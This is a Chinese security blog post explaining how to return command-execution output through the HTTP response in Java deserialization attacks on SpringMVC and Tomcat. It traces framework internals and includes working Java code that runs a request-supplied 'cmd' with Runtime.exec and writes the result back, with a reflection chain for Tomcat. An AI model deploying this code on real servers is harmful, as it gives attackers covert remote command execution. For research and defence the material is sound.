前尘——返回执行结果的回显链

阅读量400474

|评论1

|

发布时间 : 2021-10-04 10:00:38

 

前言

在前些章讲到的Java反序列化中,命令的执行结果需要返回给用户。常用的返回方式有很多,如携带信息的dnslog,或者将执行结果输入到web目录访问查看等等。但是这些回显方式各有弊端,面对不出网的情况,web目录如何获取然后留有痕迹等因素。所以找到一款能不依赖任何外界因素,能将返回结果带回用户的方式。
但是在此之前我们需要明白研究思路,web中提供了Request类和Response两个类.Request类中可以获取用户输入的参数,而Response类中提供了输出方式展示给用户。所以找到Response这个类,将执行结果通过response输出即可作为回显。

 

SpringMVC回显

调试mvc的执行流程,打断点到FrameworkServlet类的doGet方法,其使用processRequest方法处理request和response对象。

跟进processRequest方法

其中将request和response对象封装到requestAttributes这个对象中

其中调用了initContextHolders方法,将上文封装的requestAttributes传参数

跟进initContextHolders方法,其将requestAttributes放进RequestContextHolder中

跟进setRequestAttributes方法,其又将值赋给requestAttributesHolder

观察RequestAttributesHolder类,发现可以直接通过调用对应的get方法获取requestAttributes对象
有了这样的过程得到结论

        HttpServletRequest request =((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
        String resHeader=request.getParameter ( "cmd" );
        java.io.InputStream in = java.lang.Runtime.getRuntime().exec(resHeader).getInputStream();
        BufferedReader br = null;
        br = new BufferedReader (new InputStreamReader (in, "GBK"));
        String line;
        StringBuilder sb = new StringBuilder();
        while ((line = br.readLine()) != null) {
            sb.append(line);
            sb.append("\n");
        }
        java.io.PrintWriter out = new java.io.PrintWriter(response.getOutputStream());
        out.write(sb.toString ());
        out.flush();
        out.close();

通过RequestContextHolder获取getRequestAttributes然后getRequest拿到request对象
通过RequestContextHolder获取getRequestAttributes然后getResponse拿到response对象
然后将命令执行的结果通过response.getOutputStream()方法返回给前端完成了回显操作

 

Tomcat回显

AbstractProtocol类中存在方法process,其中在671行创建了processor对象

跟进createProcessor方法查看其内部实现
AbstractHttp11Protocol实现了AbstractProtocol中createProcessor方法

其中new了一个对象Http11Processor,跟进其构造函数

其调用父类的构造函数
跟进其父类构造函数

其中new 了Request和Response
回到ConnectionHandler类的process方法,createProcessor()创建了Process,可以看到这里将processor传入this.register方法

此处有两处分别进行了注册动作,一次是注册到当前线程变量global中,另一次则是注册到tomcat服务器的register注册表中

Tomcat类中初始化会将 Connector 存储到 StandardService 中。

如何获取到 StandardService 呢?
文中给出的方法是从Thread.currentThread.getContextClassLoader()里面获取webappClassLoaderBase,再获取上下文中的 StandardService。
最终利用链如下

WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo------->Request-------->Response

@RequestMapping("/tomcat")
        void tomcat(String cmd) {
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            try {
                Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
                context.setAccessible(true);
                ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
                Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
                service.setAccessible(true);
                StandardService standardService = (StandardService)service.get(ApplicationContext);
                Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
                connectors.setAccessible(true);
                Connector[] connector = (Connector[])connectors.get(standardService);
                Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
                for (Class<?> aClass : AbstractProtocol_list) {
                    if (aClass.getName().length()==52){
                        java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                        getHandlerMethod.setAccessible(true);

                        Field globalField = aClass.getDeclaredField("global");
                        globalField.setAccessible(true);
                        org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
                        Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                        processors.setAccessible(true);
                        java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
                        Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                        req.setAccessible(true);
                        for (RequestInfo requestInfo : RequestInfo_list) {
                            org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);
                            org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request)request1.getNote(1);
                            org.apache.catalina.connector.Response response2 = request2.getResponse();
                            InputStream whoami = Runtime.getRuntime().exec(cmd).getInputStream();
                            BufferedInputStream bis = new BufferedInputStream(whoami);
                            int b ;
                            while ((b = bis.read())!=-1){
                                response2.getWriter().write(b);
                            }
                        }
                    }
                }
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (InvocationTargetException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

 

总结

本文介绍了两种回显方式,基于tomcat的和基于springmvc的,但是两种方式其实核心原理相同。都是通过寻找类关系的方式找到response和request对象,然后将结果返回。至此,反序列化漏洞的体系基本就完善了,后面会继续讲其他反序列化漏洞的原理。

 

参考链接

Tomcat回显:https://blog.csdn.net/qq_38376348/article/details/108253784

本文由雁不过衡阳.原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/253661

安全客 - 有思想的安全新媒体

分享到:微信
+18赞
收藏
雁不过衡阳.
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66